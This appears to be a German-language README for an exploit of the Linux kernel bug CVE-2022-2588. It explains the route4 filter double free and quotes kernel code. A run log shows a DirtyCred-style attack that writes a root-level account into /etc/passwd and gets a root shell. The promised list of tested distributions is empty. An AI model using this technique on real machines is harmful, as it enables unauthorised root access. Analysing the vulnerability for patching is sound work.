
Exploit-Code für CVE-2022-2588
Der Fehler wurde in Linux v5.19 durch diesen Commit behoben.
Der Fehler wurde in Linux v3.17 durch diesen Commit aus dem Jahr 2014 eingeführt. Zum Auslösen werden User Namespaces benötigt. Dieser Fehler ist CVE-2021-3715 sehr ähnlich, der durch unsachgemäße Operationen an der verlinkten Liste von route4_filter verursacht wurde. Weitere Einzelheiten zu CVE-2021-3715 finden Sie im Blackhat-Vortrag (Seite 16). Im Folgenden finden Sie einige kurze Details zu CVE-2022-2588.
Die folgenden wichtigen Codeausschnitte der Funktion route4_change helfen beim Verständnis von CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
Die Funktion ist implementiert, um das route4_filter-Objekt zu initialisieren/ersetzen. Der Filter verwendet handle als eindeutige Kennung, um die einzelnen Filter zu unterscheiden. Wenn ein Handle existiert, das zuvor initialisiert wurde (d.h. die Variable fold ist nicht null), wird der Filter aktualisiert, indem der alte Filter entfernt und ein neuer hinzugefügt wird. Andernfalls wird einfach ein neuer Filter hinzugefügt.
In [0] allokiert der Kernel das route4_filter-Objekt. In [1] wird, wenn fold nicht leer ist (d.h. es gibt einen Filter mit demselben Handle), einige Informationen auf den neuen Filter kopiert und dieser in [2] initialisiert. Anschließend wird der neue Filter in [3] in die Liste eingefügt. Falls der alte Filter existiert, wird er in [4] aus der Liste entfernt und in [6] freigegeben.
Der Fehler tritt in [4] auf, wo geprüft wird, ob ein alter Filter zum Entfernen vorhanden ist. Die Bedingung stellt sicher, dass der Handle nicht null sein darf und mit dem Handle des neuen Filters übereinstimmen muss. Diese Bedingung stimmt nicht mit der Bedingung zum Freigeben des Filters in [6] überein, die nur prüft, ob der alte Filter existiert. Wenn Benutzer also einen Filter mit Handle 0 erstellen und dann dessen Ersetzung auslösen, wird der Filter nicht in [4] aus der Liste entfernt, sondern in [6] freigegeben, da die Bedingungen nicht identisch sind.
Da dieser Fehler CVE-2021-3715 ähnelt, sind ihre Primitiven nahezu identisch. Leser können für eine detailliertere Beschreibung der Primitiven auf den Blackhat-Vortrag verweisen. Dieser Bericht zeigt die Ausnutzung mit der Idee von DirtyCred.
Da das freigegebene fold nach dem Auslösen des Fehlers noch in der verlinkten Liste vorhanden ist, können wir fold erneut freigeben, was schließlich zu einem Double-Free auf das route4_filer-Objekt und das route4_filter->exts.action-Objekt führt, wenn CONFIG_NET_CLS_ACT aktiviert ist.
Der Exploit-Code nutzt diese beiden Double-Free-Fähigkeiten, um den Angriff auf Task-Berechtigungsnachweise (mittels kmalloc-192-Double-Free, folgt) und Datei-Berechtigungsnachweise (mittels kmalloc-256-Double-Free) zu demonstrieren.
In Anlehnung an die Idee von DirtyCred tauscht der Exploit-Code die Datei-Berechtigungsnachweise nach den Berechtigungsprüfungen aus, sodass wir beliebige Inhalte in Dateien mit Leseberechtigung schreiben können. Idealerweise sollte der Code über alle von dem Fehler betroffenen Kernel-Versionen hinweg funktionieren. Es wird angemerkt, dass der Exploit ein anderes Spray-Objekt verwendet, um sicherzustellen, dass der Code auf älteren Kernels funktioniert, in denen msg_msg in kmalloc-rcl-* isoliert ist.
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
Der Exploit wurde geschrieben, um auf möglichst vielen Distributionen zu funktionieren. Es wurde bestätigt, dass er auf folgenden Systemen funktioniert:
Bitte melden Sie sich mit Benutzer low und Passwort low an